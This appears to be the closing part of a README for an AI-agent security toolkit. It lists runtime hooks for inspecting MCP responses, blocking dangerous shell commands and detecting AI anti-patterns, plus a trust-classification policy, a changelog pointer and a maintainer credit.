| Runtime | mcp-response-inspector.mjs hook | During execution (MCP response inspection) |
| Runtime | validate-bash.sh hook | During execution (dangerous command prevention) |
| Runtime | ghost-file-detector.sh hook | During execution (AI anti-pattern detection) |
| Policy | FIDES trust levels | Always (data trust classification) |
Changelog
See CHANGELOG.md for version history.
Maintained by @aliksir — Issues and PRs welcome.